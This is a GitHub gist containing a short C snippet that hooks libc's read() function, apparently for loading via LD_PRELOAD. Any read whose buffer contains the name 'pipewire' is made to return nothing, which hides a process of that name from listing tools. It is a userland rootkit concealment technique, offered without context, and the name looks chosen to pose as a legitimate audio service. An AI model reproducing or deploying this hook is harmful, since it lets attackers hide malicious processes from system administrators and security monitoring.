Skip to content

Instantly share code, notes, and snippets.

@affix
Last active October 10, 2022 08:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save affix/a4913fed7a492d3071e339864b1e9aac to your computer and use it in GitHub Desktop.
Save affix/a4913fed7a492d3071e339864b1e9aac to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#define PROC_NAME "pipewire"
ssize_t read(int fd, void *buf, size_t count) {
ssize_t (*orig_read)(int fd, void *buf, size_t count);
ssize_t result;
orig_read = dlsym(RTLD_NEXT, "read");
result = orig_read(fd, buf, count);
if(strstr(buf, PROC_NAME)) {
return 0;
}
return result;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment